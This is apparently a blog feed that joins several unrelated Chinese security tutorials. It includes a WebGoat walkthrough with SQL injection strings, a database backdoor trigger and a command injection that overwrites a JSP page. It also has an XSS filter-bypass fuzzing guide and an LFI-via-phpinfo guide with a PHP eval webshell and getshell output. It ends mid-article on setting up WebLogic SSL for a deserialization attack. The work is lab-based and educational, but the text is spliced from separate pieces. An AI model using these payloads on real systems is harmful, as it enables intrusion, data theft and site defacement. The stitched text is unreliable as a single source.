
其实第二行完全是伪造出来的

Injection Flaws-String SQL Injection

字符串注入,由于字符串是由''包裹起来的,所以要注意格式,和数字注入原理一样

Erwin' OR '1'='1

SQL拼接出来的结果是

SELECT * FROM user_data WHERE last_name = 'Erwin' OR '1'='1'

Injection Flaws-LAB: SQL Injection

Stage1-4

其实还是展现了数字和字符串不同的注入方法,对password进行拦截,然后使用字符串注入,可以登录任意账户.

剩下的我并没有做出来,也没有Solution,感觉题目坏掉了..

Injection Flaws-Database Backdoors

利用SQL输入插入后门,首先是一个SQL注入点,可以通过数字注入看到所有人的薪水,然后使用以下SQL指令可以修改薪水

101; update employee set salary=10000

更加高级的是插入后门,下边这个后门好象是创建新用户的时候会自动修改邮箱为你的邮箱

CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid

Injection Flaws-Blind Numeric SQL Injection

数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注.

比如我们知道一个cc_number=1111222233334444,但是想知道其pin在pins table里的值,可以使用盲注进行爆破,输入

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

对10000进行1-10000步长为1的爆破,可以发现返回报文的长度在2364和2365改变了...尝试用=2364进行请求,返回成功.那么其pin就为2364

Injection Flaws-Blind String SQL Injection

字符串盲注,猜测cc_number='4321432143214321'的用户名,使用了SQL里的SUBSTRING这个函数,每一个字母进行爆破,原理和数字盲注一样,但是这里爆破有一点小技巧

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );

爆破技巧

这里有两个爆破点,一个是SubString的第二个参数,一个是字母h,所以使用Cluster Bomb进行爆破

  1. 爆破点1 是1-10 10个可能性
  2. 爆破点2 是a-z和A-Z 52个可能性

那么一共就是520次可能性,Intruder的设置如下

Figure01 Figure02 Figure03

可以看到报文有两种结果1333 1334,其中第一个爆破点为10的都是1334,而有一些不是,查看返回报文发现有两种

Invalid account number
Account number is valid

Figure04 Figure04

爆破点1=10返回报文为1334是因为10比1-9多一位,那么对正确的报文进行搜索Fliter,得到结果

Figure04

用户名爆破成功

0x05 进阶

Denial of Service-ZipBomb

意思是突破2MB文件限制上传20MB的以上的东西,感觉应该是拦截某些Request,然后修改一些参数.

但是我拦截的Request的file字段都是[object file]不管传什么都没响应..感觉是坏掉了这道题

Denial of Service-Denial of Service from Multiple Logins

解释了一下DDOS攻击的原理...就是访问的人太多了,多登录几次就好了

Insecure Communication-Insecure Login

介绍了HTTP报文和HTTPS报文的区别,题目原意是让你

  1. 拦截HTTP报文看到密码
  2. 然后进入回答密码是多少
  3. 切换到HTTPS看看还能不能看到报文

但是切换到HTTPS之后,打不开网页,可能是WebGoat没有提供HTTPS的服务吧....题目坏掉了又

Insecure Storage-Encoding Basics

讲了常见的编码基础,以及是否可以被解密,需要注意的是BASE64不是加密,而是一种编码,虽然英文都是Encode

Malicious Execution-Malicious File Execution

题目的目的是

  1. 前端会对上传的文件做本地检查
  2. 先上传满足检查的文件
  3. 拦截报文,修改成另外一个可执行文件如JSP
  4. 如果服务端没有检查,就能被执行

但是貌似题目坏掉了..别说恶意文件...正常图片都上传不了

Parameter Tampering-Bypass HTML Field Restrictions

修改页面的HTML文本解除一些前端的限制,如按钮是否可用

Parameter Tampering-Exploit Hidden Fields

查看HTML文本找到一些被打了Hidden标记的元素

Parameter Tampering-Exploit Unchecked Email

找到被Hidden的Email或者通过拦截修改发送Email的地址

Parameter Tampering-Bypass Client Side JavaScript Validation

修改存在页面上的JS文件使得前端的正则校验失效,从而给服务端发超出限制的字符

Session Management Flaws-Hijack a Session(有疑问)

Session劫持,题目的本意是让你在两次登录生成不同的Session之间,估算哪个Session已经被人使用了,然后进行爆破....但是我没有做出来,BurpSuite没有找到对应的Session Analyze的地方.

Session Management Flaws-Session Fixation

Session串改,题目的意思如下

  1. 你伪造一个带有Session的链接发送给别人,在邮件内容后加&SID=WHAT
  2. 别人用你的链接进行了登录,使用账户密码Jane/tarzan
  3. 点击下一步发现&SID=NOVALIDSESSION
  4. 此时你只需要用刚刚发送的Session值,就可以直接进入别人账户

原Session链接

WebGoat/start.mvc#attack/311/1800&SID=NOVALIDSESSION

修改为Seesion链接

WebGoat/start.mvc#attack/311/1800&SID=WHAT

进入Jane账户成功

Web Services-Create a SOAP Request&WSDL Scanning

简单介绍了什么是SOAP和WSDL,但是它提供的?WSDL我没有看到WSDL而是看到了一堆Error

具体学习Web Services的文章可以看这里

Web Services-Web Service SQL Injection&Web Service SAX Injection

利用Web Services进入SQL注入和SOAP报文注入,原理和其它注入攻击一样,由于WebGoat的Web Service服务有问题...也没有完成

Admin Functions-Report Card

学习记录卡...没什么用

0x06 Challenge


Challenge

大结局,先来吐槽一下,这个Challenge如果能不看答案做出来...我觉得就已经不是初学者了,总会出现各种开挂的步骤,或者说为了出题而出题,思路对了但是不选特定的选项就不会出结果....

先来列举下这里用到了哪些知识

  1. HTML源码审计
  2. BASE64编码
  3. SQL注入
  4. 命令行注入

其中每一个知识点用于

  1. 用于发现管理员帐号和密码
  2. 用来解析Cookie
  3. 用来对Cookie进行注入获取信用卡
  4. 用于查询js文件路径,和篡改网页

Stage1

越权登录一般有两种方法

  1. 获取到管理员帐号
  2. 进行注入无效化密码

先对密码进行注入试一试

password' OR '1'='1

发现不行,然后分析HTTP报文

Figure01

发现输入可能可以注入的点有Username/Password/Submit/user/user(Cookie)这几个,用户名一般不能进行注入,密码又试验过了,还剩下user和user(Cookie)

发现Cookie中的User是个编码,先去看看是什么,通过尝试,发现Base64编解码发现Cookie中会存user参数

Figure02

对两个都进行注入试试,先是user,然后把注入代码编码成Base64再放入user(Cookie)

youaretheweakestlink' OR '1'='1
eW91YXJldGhld2Vha2VzdGxpbmsnIE9SICcxJz0nMQ==

发现都不行,还是登录不进去,真是坑了大爹了...现在只好思考这个"youaretheweakestlink"是什么,所以去读HTML源码,发现了这一个

<input name="user" type="HIDDEN" value="youaretheweakestlink">

可以看到它的字段是name,难道是管理员帐号?所以使用这个登录一下,然后同时进行注入攻击,发现还是他娘的进不去....

到这里我就跪了,万念俱灰...只要去打开youtube(你土鳖)看看答案

当我知道答案的时候...恨不得把作者打一顿....分明是在开挂!

首先总结一下,youaretheweakestlink作为用户名是猜对了,可是密码在哪呢?只看到答案打开了一个链接

local:8080/WebGoat/source?source=true

把WebGoat后的都删掉,然后加上source,还要给source赋值为true....这个source尼玛哪里出现的啊...如果不赋值为true还不能看到源代码,在源代码的121行

121      private String pass = "goodbye";
122  
123      private String user = "youaretheweakestlink";

可以看到密码"goodbye"...尝试登录发现进去了

Stage2

第二步是让取出所有信用卡信息,这种根据以往的练习,肯定都是使用SQL注入让某个SELECT语句取出所有信息,根据BurpSuite的拦截信息或者Network来看的话,进入第二个页面之后,并没有任何请求出现,所以说注入点肯定还在登录的时候

依次对Username/Password/Submit/user/user(Cookie)这几个注入点进行检查,发现user(Cookie)进行注入就可以获得到所有信用卡信息,但是注意使用的是Base64编码后的信息

youaretheweakestlink' OR '1'='1
//编码后注入代码为
eW91YXJldGhld2Vha2VzdGxpbmsnIE9SICcxJz0nMQ==

Stage3

第三步发现是各种网络协议的表单,根据经验判断(就是猜)这种表单一般有两种获取形式

  1. 利用SQL从数据库读取
  2. 利用cmd命令行得到

先尝试拦截报文,对file字段做SQL注入,发现没有效果.然后进行命令行注入,通用命令"ls"

tcp && ls

这里注意坑爹的事情

由于是为了出题而出题,只有tcp具有命令行注入功能,选其它的选项卡都不行,是因为Java在源代码里做判断,只在tcp时让其故意有注入漏洞.Youtube上视频是5.2版本的...使用的是ip进行的注入,耽搁了老子好久...

还有一点需要注意,Youtube上给出的注入命令是

&& pwd && ls && find -name "webgoat_challenge_guest.jsp"

这些指令在Mac下是无效的,Mac下需要的指令主要是find不一样

tcp; pwd; ls; find . -iname "webgoat_challenge_guest.jsp";

通过命名行注入,我们可以得到webgoat_challenge_guest.jsp文件的地址

Figure03

然后可以使用另外一段自定义的HTML文本代替webgoat_challenge_guest.jsp,原理是利用了命令行注入的

echo "text" > file

意思是使用清空file的内容文本,填充"text"进入file,对应的另外一个

echo "text" >> file 

保留file的内容文本,后续补充"text",百度原理看这里,构造注入语句

tcp; echo "<html><body>Mission Complete</body></html>" > WebGoat/webgoat-container/target/webgoat-container-7.1-SNAPSHOT/webgoat_challenge_guest.jsp

Stage4

任务完成了,WebGoat的练习题只能说坑爹坑爹十分坑爹...但是总体来说还是熟悉了常用的攻击手段...学到了不少东西

富文本存储型XSS的模糊测试之道

$
0
0

0x00 背景


凭借乌云漏洞报告平台的公开案例数据,我们足以管中窥豹,跨站脚本漏洞(Cross-site Script)仍是不少企业在业务安全风险排查和修复过程中需要对抗的“大敌”。

XSS可以粗分为反射型XSS和存储型XSS,当然再往下细分还有DOM XSS, mXSS(突变XSS), UXSS(浏览器内的通用跨站脚本)。其中一部分解决方法较为简便,使用htmlspecialchars()对HTML特殊符号做转义过滤,经过转义的输入内容在输出时便无法再形成浏览器可以解析的HTML标签,也就不会形成XSS漏洞。

p1 (图:htmlspecialchars函数的转义规则)

但网站做大了,总有一些业务,比如邮件内容编辑、日志帖子类编辑发布等功能时,需要授权给用户自定义链接、改变字体颜色,插入视频图片,这时就不得不需要需要引入HTML富文本实现相应功能。之前提到,htmlspecialchars()这样把所有特殊符号做转义处理的过滤办法,这是就英雄无用武之地,因为HTML标签全部被过滤了,那之前提到的这些用户可以自定义功能又该如何实现?

一个问题总有它的解决办法,所以基于白/黑名单防御思想的富文本内容过滤器应运而生,并很快被应用到了对抗富文本存储型XSS的前沿。它的任务就是根据内置的正则表达式和一系列规则,自动分析过滤用户提交的内容,从中分离出合法和被允许的HTML,然后经过层层删除过滤和解析最终展示到网页前端用户界面来。这样既不影响网站的安全性,也不会妨碍到用户自定义富文本内容功能的实现。

道高一尺魔高一丈,经过一些前期的手工测试和侧面从乌云公开的漏洞报告中了解,大多数网站的富文本过滤器采用“黑名单”的设计思想。这也为我们使用模糊测试来自动化挖掘富文本存储型XSS提供了可能性。

p2 (图:某国内知名邮箱的富文本过滤器基于“黑名单”设计逻辑)

与此同时,本文的主角,“强制发掘漏洞的利器”-- 模糊测试(Fuzzing Test),相信各位一定不会陌生。无论是在二进制还是在WEB端的黑盒测试中都有它立功的身影,从客户端软件漏洞的挖掘到WEB端弱口令的爆破,本质上都可以认为是一种模糊测试。

结合富文本过滤器“黑名单”的实现逻辑,接下来,本文将主要探讨这类富文本存储型跨站脚本的模糊测试之道。将模糊测试这一强大的漏洞挖掘武器通过精细的打磨,挖掘出大量的潜在缺陷。

0x01 找准目标,事半功倍


要进行模糊测试,首先要找准目标。知道目标有哪些地方有富文本编辑器,又有哪些种类,进一步推测其是否基于“黑名单”思想,是否可以进行自动化的模糊测试。才可以让我们接下来要进行的模糊测试,发挥出事半功倍的效果

并不是所有允许用户提交自定义内容的地方,都允许用户自定义富文本,如果网站已经在后端对所有提交的内容做了htmlspecialchars()的过滤,就意味着所有提交的内容都会被转义,也就不存在模糊测试的必要了。比如:

p3

乌云漏洞报告平台的评论回复区域,后端的实现逻辑就是不允许用户传入富文本内容,对所有用户输入的内容做了htmlspecialchars()的过滤。也就是说,如果你传入类似:

<script>alert(1);</script>    =>  &lt;script&gt;alert(1);&lt;/script&gt;&nbsp;

这时无论你使用何种高大上的XSS Vector,都无济于事,被转义以后的内容,无法对构成XSS跨站脚本。

富文本编辑器也分很多种,比如基于HTML标签形式的富文本编辑器(Ueditor、Fckeditor),自定义富文本标签形式(Markdown, UBB),在国内外各大网站都有使用。模糊测试万变不离其宗,你有了一把锋利的斧头,你无论用什么方式砍柴,本质相同。只是有时候是类似Ueditor的编辑器,在进行模糊测试的时候,可能会更加方便容易。

p4 (图:百度Ueditor)

0x02 模糊测试框架


就好像写字之前你必须有一只笔,砍柴前必须有一把斧子一样,在开始针对富文本过滤器展开模糊测试之前,你必须得有一个可以自动生成Payload的模糊测试框架。无论使用JavaScript、PHP、Python还是更加小众亦或是高级的语言,模糊测试框架的中心思想就是,通过拼接思想动态生成大量的供模糊测试使用的Payload。对网站富文本编辑器的模糊测试,稍不同于对浏览器XSS Filter或者是对DOM特性的模糊测试,不过我们还是可以参考一些已经在互联网上公开的XSS Filter Fuzzer的现成代码,加以修改,为我所用,这里就不再赘述。

所以,在开始更深一步的模糊测试方案设计之前,请选择自己得心应手的一种程序设计语言,参考现成的XSS Filter Fuzzer,编写出一个或简单或复杂的模糊测试框架。

p5 (图:基于拼接思想动态生成XSS Fuzzing Test Payload的框架代码)

0x03 模糊测试模板


有了框架,就好比有了手枪,现在我们需要给它装上“子弹”-- 模糊测试模板。一个模糊测试模板的好坏,很大程度上决定了,之后我们是否能够高效的测试出富文本编辑器中潜在的缺陷,从而发掘出大量的存储型XSS构造姿势。而在设计自己的模糊测试模板时,主要需要考虑三点:边界、进制编码和字符集。

先来说说边界问题。以下面简单的HTML代码为例:

<span class=”yyy onmouseover=11111” style="width:expression(alert(9));"></span>

上述HTML标记语言文本传给后端富文本编辑器的时候,程序会如何过滤和解析?也许是这样的:首先匹配到<span,进入其属性值过滤的逻辑,首先是否含有高危的on开头的事件属性,发现存在onmouseover但被”,”包裹,作为class属性的属性值,所以并不存在危险,于是放行;接着分析style属性,其中有高危关键词”expression()”,又有括弧特殊符号,所以直接清除过滤。

上述过滤流程的实现,很大程度依赖于后端通过正则匹配进行的HTML标签中的边界分析。通过对“边界”的判定,类似class=”yyyy onmouserover=11111” 的属性及其值才会被放行,因为虽然onmouserover=11111虽然是高危的事件属性,但存在于=””中,没有独立成一个HTML属性,也就不存在风险。所以在上面的例子中,=””就是边界,<span中的尖括号也是边界,空格也可以说成一种边界。所以,形象一点说,一段HTML代码的边界位置很有可能是下面这样的:

[边界]<span[边界]class=[边界]yyy[边界]>[边界]</span[边界]>

所以如果是类似style="width:expr/*”*/esion(alert(9));"属性和属性值呢?程序又该如何确定边界?是style="a:expr/*”还是style="a:expr/*”*/ession(alert(9));"?

当后端富文本过滤程序遇到这样,略微复杂的选择题时,如果其后端规则设计的过于简单,就很有可能导致把不该过滤的过滤掉,而把非法的内容放行,从而我们可以构造出存储型XSS。打乱HTML边界,让后端富文本过滤器陷入选择窘境,这是我们设计模糊测试模板的原则之一。有哪些内容可能会导致富文本内容过滤器出现边界判断问题?

(1)特殊HTML符号,通过这类明显的符号,过滤器就可以到HTML标签及其属性,但这些符号错误的时候出现在了错误的地点,往往会酿成大祸,如:

=, ”, ’, :, ;, >, <, 空格, /,

(2)过滤器会过滤删除的内容,我们在边界填充下面这些元素,过滤器盲目删除,很有可能导致原本无害的属性值,挣脱牢笼,成为恶意的属性和属性值,如:

expression, alert, confirm, prompt, <script>,<iframe>

(3)不可打印字符,如:

\t、\r、\n、\0等不可打印字符

综上,现在我们已经可以用Fuzzer生成一个下面这样的Payload。幸运的话,或许已经可以绕过一些后端逻辑简单的富文本过滤器了,示例如下:

<<<span/class=/yyyy onmouseover=11111/style="a:exp/*”>*/resion(1);"></span>

当然,除了边界区分问题,富文本过滤器面对着另外两个劲敌,特殊的进制字符编码和千奇百怪的字符集。

我们先来说说字符编码,类似\x22,\40,&#x22;等一系列进制编码,直接当作文本内容传递给后端富文本过滤器,如果处理的办法?解密后过滤?直接输出?经验告诉我们,不少过滤器在处理类似特殊的进制编码时,往往会在进制编码的特殊HTML符号面前摔个人仰马翻。于是,像下面这样一段看似无害化的Payload,在富文本过滤器自作聪明的解密过后,变成了一段跨站脚本:

前:<span class=”yyy &#x22;onmouseover=alert(1);//”></span>
 =>
后:<span class=”yyy“ onmouseover=alert(1);//”></span>

接下来,我们再来说说千奇百怪的字符集,不少富文本编辑器在处理类似“㊗”的unicode字符时,会将字符转化成<img>标签,所以在mramydnei报告的一个腾讯邮箱存储型XSS中,一段无害的Payload逆袭成了有害的跨站脚本:

前:<style x="㊗" y="Fuzzitup {}*{xss:expression(alert(document.domain))}">
 =>
后:<style x="<IMG src=" https:="" res.mail.qq.com="" zh_cn="" htmledition="" images="" emoji32="" 3297.png"="">" y="Fuzzitup {}*{xss:expression(alert(document.domain))}"></style>

0x04 模糊测试实战


正所谓“磨刀不误砍柴工”,在进行模糊测试实战之前,我建议,对富文本过滤器的大改过滤规则和实现原理手动测试一番,了解哪些HTML标签允许被使用,有哪些关键词出现就会被删除,又有哪些Payload会触发网站存在的WAF,在之后的测试中,针对目标网站“个性化”的修改模糊测试模板。

讲到这里,相信你已经大概了解富文本跨站脚本模糊测试了,不过模糊测试的威力究竟如何呢?我们用实例来做论证:

0x05 写在最后


模糊测试只是自动化强制发现漏洞的一个重要手段,就像自动化漏洞扫描器一样。我们并不能完全依靠它,在测试过程中,对过滤器结果进行适时的分析,对模糊测试模板做出合理的改进,不仅能提高模糊测试的效率,还能够帮助我们挖掘到更多潜在的设计缺陷。毕竟,机器终究是“死板”的,而人是“灵活”的。

富文本跨站脚本测试之道,就是细致的模糊测试结果分析,加上对模糊测试模板的不断打磨,人与机器的结合,才会打造出一把真正的“神器”。

PHP本地文件包含漏洞环境搭建与利用

$
0
0

0x00 简介


php本地文件包含漏洞相关知识,乌云上早有相应的文章,lfi with phpinfo最早由国外大牛提出,可参考下面两篇文章。利用的原理是利用php post上传文件产生临时文件,phpinfo()读临时文件的路径和名字,本地包含漏洞生成1句话后门。

此方式在本地测试成功,为了方便大家学习,减小学习成本,已构建docker环境,轻松测试。将构建好的docker放在国外VPS上,使用github项目 lfi_phpinfo 中poc文件夹下的脚本,本地运行,依然可以getshell。说明这种方式是可行的,对网络要求不是很高。

源码存放在 code目录下, 可使用docker再现,poc目录下存放利用脚本

paper:

http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf

0x01 php 上传


向服务器上任意php文件post请求上传文件时,都会生成临时文件,可以直接在phpinfo页面找到临时文件的路径及名字。

  • post上传文件

php post方式上传任意文件,服务器都会创建临时文件来保存文件内容。

在HTTP协议中为了方便进行文件传输,规定了一种基于表单的 HTML文件传输方法

其中要确保上传表单的属性是 enctype=”multipart/form-data,必须用POST 参见: php file-upload.post-method

其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:

  1. 请求到达
  2. 创建临时文件,并写入上传文件的内容
  3. 调用相应PHP脚本进行处理,如校验名称、大小等
  4. 删除临时文件

PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。临时文件的名称是 php+随机字符 。

  • $_FILES信息,包括临时文件路径、名称

在PHP中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小

0x02 手工测试phpinfo()获取临时文件路径


  • html表单

文件 upload.html

<!doctype html>
<html>
<body>
    <form action="phpinfo.php" method="POST" enctype="multipart/form-data">
    <h3> Test upload tmp file</h3>
    <label for="file">Filename:</label>
    <input type="file" name="file"/><br/>
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
  • 浏览器访问 upload.html, 上传文件 file.txt

    <?php
    eval($_REQUEST["cmd"]);
    ?>
    
  • burp 查看POST 信息如下

    POST /LFI_phpinfo/phpinfo.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://127.0.0.1/LFI_phpinfo/upload.html
    Connection: close
    Content-Type: multipart/form-data; boundary=---------------------------11008921013555437861019615112
    Content-Length: 368
    
    -----------------------------11008921013555437861019615112
    Content-Disposition: form-data; name="file"; filename="file.txt"
    Content-Type: text/plain
    
    <?php
    eval($_REQUEST["cmd"]);
    ?>
    
    -----------------------------11008921013555437861019615112
    Content-Disposition: form-data; name="submit"
    
    Submit
    -----------------------------11008921013555437861019615112--
    
  • 浏览器访问,phpinfo 返回如下信息:

    _REQUEST["submit"]  
        Submit
    
    _POST["submit"] 
        Submit
    
    _FILES["file"]  
        Array
        (
            [name] => file.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpufdCHh
            [error] => 0
            [size] => 33
        )
    

得到tmp_name 路径

0x03 python脚本 upload file


import requests

host = '127.0.0.1'
url = 'http://{ip}/LFI_phpinfo/phpinfo.php'.format(ip=host)
file_ = '/var/www/LFI_phpinfo/file.txt'

response = requests.post(url, files={"name": open(file_, 'rb')})

print(response.text)
  • 部分返回结果

    <tr><td class="e">_FILES["name"]</td><td class="v"><pre>Array
    (
        [name] =&gt; file.txt
        [type] =&gt; 
        [tmp_name] =&gt; /tmp/php7EvBv3
        [error] =&gt; 0
        [size] =&gt; 33
    )
    

0x04 本地搭建环境


  • get shell

    $ python lfi_phpinfo.py 127.0.0.1
    
    LFI with phpinfo()
    ==============================
    INFO:__main__:Getting initial offset ...
    INFO:__main__:found [tmp_name] at 67801
    INFO:__main__:
    Got it! Shell created in /tmp/g
    INFO:__main__:Wowo! \m/
    INFO:__main__:Shutting down...
    
  • firefox 访问

    http://127.0.0.1/LFI_phpinfo/lfi.php?load=/tmp/gc&f=id
    
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

说明getshell成功,之后就可以自由发挥了~~

0x05 使用 docker 构建环境

docker的基本用法,这里就不阐述了,可自行google。这里提供了两种构建镜像源的方式,使用github lfi_phpinfo 中Dockerfile自行构建,或使用我已经构建好的镜像 janes/lfi_phpinfo

  • 镜像源

-- [php 1="官方源" 2="2="2="2="2="language=":5.6-apache"""""\"][/php]/php5

-- janes/lfi_phpinfo

  • 构建环境运行测试

获取 github lfi_phpinfo 的源码,切换到web目录下,开始构建环境进行测试。这里提供三种方式运行

  1. 方式1 使用php官方源运行测试

    docker run --rm -v code/:/var/www/html -p 80:80 php:5.6-apache
    
  2. 方式2 使用构建好的镜像 janes/lfi_phpinfo 运行测试

    docker pull "janes/lfi_phpinfo"
    docker run --rm -p "80:80" janes/lfi_phpinfo
    
  3. 方式3 使用docker-compose

    docker-compose up
    

接下来就可以使用python脚本 getshell 了

python lfi_phpinfo.py docker_host_ip

0x06 结束语


动手实践 LFI with PHPInfo利用的过程,其实并不像看文章过程那样顺利,期间多多少少会碰见一些与环境有关的问题,而解决这些问题会耗费精力,这正是催生我用docker来构建测试环境想法的来源,希望能给网络安全的热爱者们提供更方便的学习环境。最后感谢[LFI with PHPInfo本地测试过程]文章的作者,给我研究LFI with phpinfo提供了不少帮助。

如何控制开放HTTPS服务的weblogic服务器

$
0
0

0x00 前言


目前在公开途径还没有看到利用JAVA反序列化漏洞控制开放HTTPS服务的weblogic服务器的方法,已公布的利用工具都只能控制开放HTTP服务的weblogic服务器。我们来分析一下如何利用JAVA反序列化漏洞控制开放HTTPS服务的weblogic服务器,以及相应的防护方法。

建议先参考修复weblogic的JAVA反序列化漏洞的多种方法中关于weblogic的JAVA反序列化漏洞的分析。

0x01 HTTPS服务的架构分析


如果某服务器需要对公网用户提供HTTPS服务,可以在不同的层次实现。

使用SSL网关提供HTTPS服务

当使用SSL网关提供HTTPS服务时,网络架构如下图所示(无关的设备已省略,下同)。

SSL网关只会向后转发HTTP协议的数据,不会将T3协议数据转发至weblogic服务器,因此在该场景中,无法通过公网利用weblogic的JAVA反序列化漏洞。

使用负载均衡提供HTTPS服务

当使用负载均衡提供HTTPS服务时,网络架构如下图所示。

安全起见,负载均衡应选择转发HTTP协议而不是TCP协议,因此在该场景中,也无法通过公网利用weblogic的JAVA反序列化漏洞。

使用web代理提供HTTPS服务

当使用web代理(如apache、nginx等)提供HTTPS服务时,网络架构如下图所示。

web代理只会向后转发HTTP协议的数据,因此在该场景中,也无法通过公网利用weblogic的JAVA反序列化漏洞。

使用weblogic提供HTTPS服务

当使用weblogic提供HTTPS服务时,网络架构如下图所示。

weblogic能够接收到利用SSL加密后的T3协议数据,因此在该场景中,通过公网能够利用weblogic的JAVA反序列化漏洞。

根据上述分析,仅当HTTPS服务由weblogic提供时,才能够利用其JAVA反序列化漏洞。

0x02 weblogic开放SSL服务时的T3协议格式分析


利用weblogic的JAVA反序列化漏洞时,必须向weblogic发送T3协议头。为了能够利用提供SSL服务的weblogic的JAVA反序列化漏洞,需要首先分析当weblogic提供SSL服务时的T3协议格式。

SSL数据包为加密的形式,无法直接进行分析,需要进行解密。当已知SSL私钥时,可以利用Wireshark对SSL通信数据进行解密。

weblogic可以使用演示SSL证书提供SSL服务,也可以使用指定SSL证书提供SSL服务。

可以使用两种方法进行分析,一是使用weblogic提供的演示SSL证书进行分析,二是使用自己生成的SSL证书进行分析。

使用weblogic演示证书进行分析(方法一)

使用weblogic演示证书开放SSL服务

登录weblogic控制台,将AdminServer的“启用SSL监听端口”钩选,并填入SSL监听端口号。

查看AdminServer的密钥库配置,确认为“演示标识和演示信任”(Demo Identity and Demo Trust),可以看到演示密钥库的文件名为“DemoIdentity.jks”,演示信任密钥库文件名为“DemoTrust.jks”。

查看AdminServer的SSL配置,可以看到演示密钥库的私钥别名为“DemoIdentity”。

使用HTTPS方式登录weblogic控制台,确认可以正常登录。

生成weblogic演示证书的私钥文件

以下为weblogic演示密钥库的密码信息。

Property Value
Trust store location DemoTrust.jks文件,可在控制台查看
Trust store password DemoTrustKeyStorePassPhrase
Key store location DemoIdentity.jks文件,可在控制台查看
Key store password DemoIdentityKeyStorePassPhrase
Private key password DemoIdentityPassPhrase
Private Key Alias DemoIdentity,可在控制台查看

使用以下命令生成weblogic演示密钥库的私钥文件。

set keystore=DemoIdentity.jks
set tmp_p12=tmp.p12

set storepass=DemoIdentityKeyStorePassPhrase
set keypass=DemoIdentityPassPhrase
set alias=DemoIdentity
set pwd_new=123456

keytool -importkeystore -srckeystore %keystore% -destkeystore %tmp_p12% -srcstoretype JKS -deststoretype PKCS12 -srcstorepass %storepass% -deststorepass %pwd_new% -srcalias %alias% -destalias %alias% -srckeypass %keypass% -destkeypass %pwd_new%

set out_pem=tmp.rsa.pem
set final_pem=final.key

openssl pkcs12 -in %tmp_p12% -nodes -out %out_pem% -passin pass:%pwd_new%
openssl rsa -in %out_pem% -check > %final_pem% 

最终生成的final.key即为weblogic演示密钥库的私钥文件。final.key的密钥格式为

-----BEGIN RSA PRIVATE KEY-----  
......  
-----END RSA PRIVATE KEY-----  

修改weblogic停止脚本

需要修改weblogic的停止脚本“stopWebLogic.xx”,将ADMIN_URL字段的“t3”改为“t3s”,并在java调用weblogic.WLST类的JVM启动参数中加入“-Dweblogic.security.TrustKeyStore=DemoTrust”,使weblogic在调用停止脚本时使用演示证书,否则会出现证书不被信任的错误。

使用自定义证书进行分析(方法二)

生成自定义密钥库

使用以下命令生成自定义密钥库。

set keystore=keystore.jks
set alias=server
set pwd=123456
set url=url-test
set validity=7300

keytool -genkey -alias %alias% -keyalg RSA -keysize 2048 -keystore %keystore% -storetype jks -storepass %pwd% -keypass %pwd% -dname "CN=%url%, OU=companyName, O=companyName, L=cityName, ST=provinceName, C=CN" -validity %validity%

生成的密钥库名称为keystore.jks,密钥库密码与私钥密码均为“123456”。

使weblogic使用指定的密钥库

将上述步骤生成的密钥库文件keystore.jks复制到weblogic的domain目录中。

登录weblogic控制台,在AdminServer的密钥库界面,选择密钥库类型为“定制标识和 Java 标准信任”(Custom Identity and Java Standard Trust),定制标识密钥库输入“keystore.jks”,定制标识密钥库类型输入“JKS”,定制标识密钥库密码短语与确认定制标识密钥库密码短语输入“123456”,保存上述修改。

在AdminServer的SSL界面,私有密钥别名输入“server”,私有密钥密码短语与确认私有密钥密码短语输入“123456”。

使用HTTPS对应的URL打开weblogic控制台,确保可以正常登录,查看证书信息如下。

将自定义证书导入java信任密钥库中

在上一步骤中可以看到Java标准信任密钥库对应的文件为weblogic的JDK目录中的“jdk\jre\lib\security\cacerts”文件,密钥类型也是JKS。

当weblogic作为SSL客户端连接服务器时,会检查服务器的证书链是否与weblogic的JDK目录中的cacerts文件匹配。

需要将自定义证书的公钥导入weblogic的JDK目录中的cacerts文件中,否则在调用weblogic停止脚本时,会由于证书不受信任而失败。

使用以下命令导出自定义证书的公钥。

set keystore=keystore.jks
set alias=server
set pwd=123456
set exportcert=export.cer

keytool -export -alias %alias% -keystore %keystore% -file %exportcert% -storepass %pwd%

导出的公钥文件为export.cert。

使用以下命令将公钥导入weblogic的JDK目录的cacerts文件中,在导入前需要备份cacerts。cacerts密钥库的默认密码为changeit,可进行修改。

set keystore=cacerts
set alias=server
set pwd=changeit
set cert=export.cer

keytool -import -alias %alias% -keystore %keystore% -trustcacerts -storepass %pwd% -file %cert%

生成自定义证书的私钥文件

使用以下命令生成自定义证书的私钥文件。

set keystore=keystore.jks
set tmp_p12=tmp.p12

set storepass=123456
set keypass=123456
set alias=server
set pwd_new=123456

keytool -importkeystore -srckeystore %keystore% -destkeystore %tmp_p12% -srcstoretype JKS -deststoretype PKCS12 -srcstorepass %storepass% -deststorepass %pwd_new% -srcalias %alias% -destalias %alias% -srckeypass %keypass% -destkeypass %pwd_new% 

set out_pem=tmp.rsa.pem
set final_pem=final.key

openssl pkcs12 -in %tmp_p12% -nodes -out %out_pem% -passin pass:%pwd_new%
openssl rsa -in %out_pem% -check > %final_pem% 

最终生成的final.key即为自定义证书的私钥文件。

修改weblogic停止脚本

需要修改weblogic的停止脚本“stopWebLogic.xx”,将ADMIN_URL字段的“t3”改为“t3s”,并在java调用weblogic.WLST类的JVM启动参数中加入“-Dweblogic.security.TrustKeyStore=DemoTrust”。

